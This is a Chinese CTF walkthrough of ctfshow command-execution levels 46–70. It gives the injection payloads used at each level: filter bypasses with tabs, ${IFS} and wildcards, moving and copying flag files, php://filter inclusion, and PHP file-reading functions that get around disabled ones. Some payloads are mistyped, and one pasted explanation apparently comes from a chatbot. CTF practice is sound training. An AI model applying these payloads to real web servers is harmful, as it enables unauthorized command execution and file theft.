ctfshow 命令执行46关到70关 解题思路 理解及答案

2023-12-29 18:34:54

46关

*是一位字符

?是多位字符

百度 ascll

找到 0x30 字符0 那一行 代表的意思就是数字

?30到39都是数字

?c=tac% fla?.php%26%26ls

这里是空格 那么用09 因为解码了 所以它不属于数字

输入 ?c=tac%09fla?.php%26%26ls

拿到flag 通关

我拿到flag之后 又将靶场重新打开

不看答案打了一遍

心里想着

?c=然后又看到过滤了

tac%

再写个09 写这个是因为ascll编码 在百度上搜索的 找打了水平制表符 09那一行

fla?.直接查询flag的答案

php因为网站是php代码写的

%26%26是解码之后才有的

ls不变

本关通过须知

你要了解ascll码的表

略略看一下 略知一二

那些个二进制 就是8421 从左往右看 8421

?????????????????????????????????????????????????????? 0000

计算机能够直接识别的是二进制 那么2进制不能显示2

只能通过进位 或者是 1和02个数字表示?

简单理解8421

现在有4个0

我想表示 8

那么就在8的位置下面写个1

答案是1000

如果是表示数字4

那就是0100

表示12

就是1100

同理 16进制不能有16

8进制不能超过8

10进制不能写10

以此类推

网络安全里面也包括二进制安全

制作的木马 也是安插在二进制里哦

虽说是有工具 但是要手工插入命令进去

如 一句话木马 免杀木马 冰蝎后门 菜刀 钓鱼邮件

47关

先输入这个

?c=tac09%fla?.php&&ls

然后在网上搜索 url地址转换

将2个符号转换

&& 这2个

得到了%26%26

插入进来

?c=tac%09fla?.php%26%26ls

48关

没有过滤tac 继续用

?c=tac%09fla?.php%26%26ls

轻松拿下 下一关?

这关表达的意思是

你过滤的再多 但凡没有过滤到一个 那就相当于没过滤

49关

继续用

?c=tac%09fla?.php%26%26ls

通关

50关

?c=nl<fla"g.php%7C%7Cls

?这一关太磨人了

51关

?c=nl<fla"g.php%7c%7Cls

51的答案也是一样的

做不出来

使用方法如上

52关

说明 从开始到现在所输入的是不同的方式 因为这是站主出的教程他可以直接输入答案 但他输入这些错误的还是有原因的

?c=mv${IFS}fla?.php${IFS}a.txt%7c%7cls

然后在列下目录

?c=ls%7c%7cls

这是一个文件夹目录 那么操作就是直接访问这个a.txt

为什么不直接输入a.txt

因为要先获取是什么目录

才能直接访问到所需要的最上层目录

访问a.txt之后获得一个假的目录

flag也是假的

输入?c=ls||ls 得到目录表

输入?c=ls${IFS}/||ls

没反应

?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls

然后在列目录

输入?c=ls||ls

表示写进去了

在访问b.txt

拿到flag 通过

原因 cp是复制的意思 全称是copy 复制到哪一个根目录 或者是目录

用txt格式来访问那个目录以此来回显

53关

?c=ta"c${IFS}fla?.php

?c=ca"tS(IFS)fa?.php

出现了这个 又开始了你妹的

54关

?c=ls

?c=mv${IFS}fla?.php${IFS}z.txt

?c=ls? 列目录

访问z.txt

通关

在命令执行中,"?c=ls" 不是一个常见的命令或指令。而是一个URL参数或查询字符串的形式。在Web开发中,URL参数通常用于向服务器传递额外的信息。

URL参数或查询字符串是在URL中用于传递额外信息的一种常见方式。它们通常以问号(?)开始,然后是键值对的形式,用等号(=)连接键和值,多个键值对之间使用与号(&)分隔。

55关

56关

57关

58关

由于网站遭受ddos攻击

所以将一些服务关闭

在body输入c=phpinfo();

输入c=system('ls');

也被禁用了

再次尝试 c=echo shell_exec('ls');

被禁用了 要看到那里有变化 手动输入时 警告的后面就显示了

输入 直接读取

c=echo file_get_contents('index.php');

没有禁用报错等信息

点击右键查看源代码

盲猜一波

将index换成flag

c=echo file_get_contents('flag.php');

右键源码查看flag

59关

c=echo file_get_contents('flag.php');

上一关的被禁用了

c=include($_GET[1]);

Url

?1=php://filter/convert.base64-encode/resource=flag.php

60关

c=show_source('flag.php');

函数说明

如果eval函数在执行时遇到错误,则抛出异常给调用者.

类似的函数是loadcode ,loadcode并不立即执行代码,而是返回一个函数对象.

并且loadcode支持路径参数,eval并不支持. eval并不支持代码中的return语句,而是将代码作为表达式直接计算出结果.

Hackbar 使用教程什么是Hackbar?Hackbar是一个Firefox的插件,它的功能类似于地址栏,但是它里面的数据不受服务器的相应触发的重定向等其它变化的影响.有网址的载入于访问****,联合查询**,各种编码,数据加密功能.这个Hackbar可以帮助你在测试SQL注入**,XSS漏洞和网站的安全性****,主要是帮助开发人员做代码的安全审计**,检查代码,寻找安全漏洞

输入 c=include($_GET[1]);&a=highlight_file('flag.php');

61关

c=highlight_file('flag.php');

尝试用别的方法

c=show_source('flag.php');

通关

突破禁用函数

这些关卡的逻辑是

知道哪些函数可以进行读文件

62关

c=show_source('flag.php');继续用上一关的也可以通关

换个思路

include函数直接输出$flag !!!注意 :所标注的是3部分

echo在php代码中的意思是输出

echoc=include('flag.php');echo $flag;

63关

c=show_source('flag.php'); 通关

64关

采用文件包含方式

c=var_dump(get_defined_vars());

发现文件并没有包含进去

根据你提供的信息,这似乎是一个PHP代码片段。它创建了一个包含5个元素的数组,并且每个元素都是一个关联数组。

  • 第一个元素的键是"GET",值是一个空的关联数组。
  • 第二个元素的键是"POST",值是一个关联数组,其中包含一个键为"c"的元素,其值是字符串"var dump(get defined vars0):"。
  • 第三个元素的键是"COOKIE",值是一个空的关联数组。
  • 第四个元素的键是"FILES",值是一个空的关联数组。
  • 最后一个元素的键是"c",值是字符串"var dump(get defined vars()"。

这段代码似乎是用于获取和输出定义的变量的信息。其中,通过GET和POST方法传递的变量将被打印出来,而COOKIE和FILES变量则为空。

在这段代码中,如果你想输入文件包含命令,可以尝试修改"POST"数组中的"c"键对应的值。将其修改为你想要包含的文件的路径,可以是相对路径或绝对路径。请确保你输入的文件路径是有效的,并且是你有权限访问的文件。

例如,如果你想包含一个名为"example.php"的文件,可以将代码修改为:

php

插入代码复制代码

array(
???
"GET"=> array(),
???
"POST"=> array(
???????
"c"=> "example.php"),
???
"COOKIE"=> array(),
???
"FILES"=> array(),
???
"c"=> "var dump(get defined vars())");

请记住,在实际应用中,文件包含操作需要格外小心,以防止安全漏洞。在学习过程中,确保你了解潜在的风险,并采取适当的安全措施。

这些是用模型回答出来的 仅供参考 方便了解学习网页中的源代码

c=include('flag.php');var_dump(get_defined_vars());

运行之后 发现当前页面就有flag

打开源代码 也有

通关

换一种方法

c=rename('flag.php','1.txt); 修改文件名没显示

c=print_r(scandir('.'));查看目录 查看当前目录

表示当前目录可以使用

目前能用的是

Solos 高亮文件显示 文件包含 日志包含 文件包含伪协议 输出注册变量

c=show_source('flag.php');

通关

整套题目下来 为什么不一开始就拿这个函数去通过?

答:学习有过程 不要为了通关而通关 主要是把这些学会 记住函数 记住用不同的方法 到了实战中不可能会有人给你报最后的函数及答案 只有一个个去试 最好得知了哪个是有漏洞的 也不可能次次都挖的到漏洞

所以!! 当你挖不到漏洞的情况下 找公司管理制度 公司安全制度 公司安全通道及卫生 物理安全制度是否达标

如果没有那这个也是可以写上去的

65关

c=show_source('flag.php');

66关

c=highlight_file('flag.php');

c=print_r(scandir("/"));

c=highlight_file('/flag.txt');

英文单词学习 fatal 读音是费头

????????????????????? Error 错误

67关

c=highlight_file('/flag.txt');

通关

68关

采用文件直接读取

c=include('flag.php');echo $flag;

换办法 这个被禁用了

c=print_r(scandir('/'));

也木有显示可用信息

c=var_dump(scandir('/'));

出现了这个

输入文件包含

c=include('/flag.txt');

直接包含的原因是因为没有php标签的

作为html默认进行一个输出

69关

由于字节过大

所以用了上一关的方法

c=include('/flag.txt');

通关

70关

c=include('/flag.txt');

过关

本篇内容仅在ctfshow中操作

只供参考 仅供学习 切勿使用此篇文章做与学习不相关等事件

所有事情由使用者自行承担 网络不是非法之地 网络可以溯源

且用且珍惜

文章来源:https://blog.csdn.net/2301_78362619/article/details/135279014
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。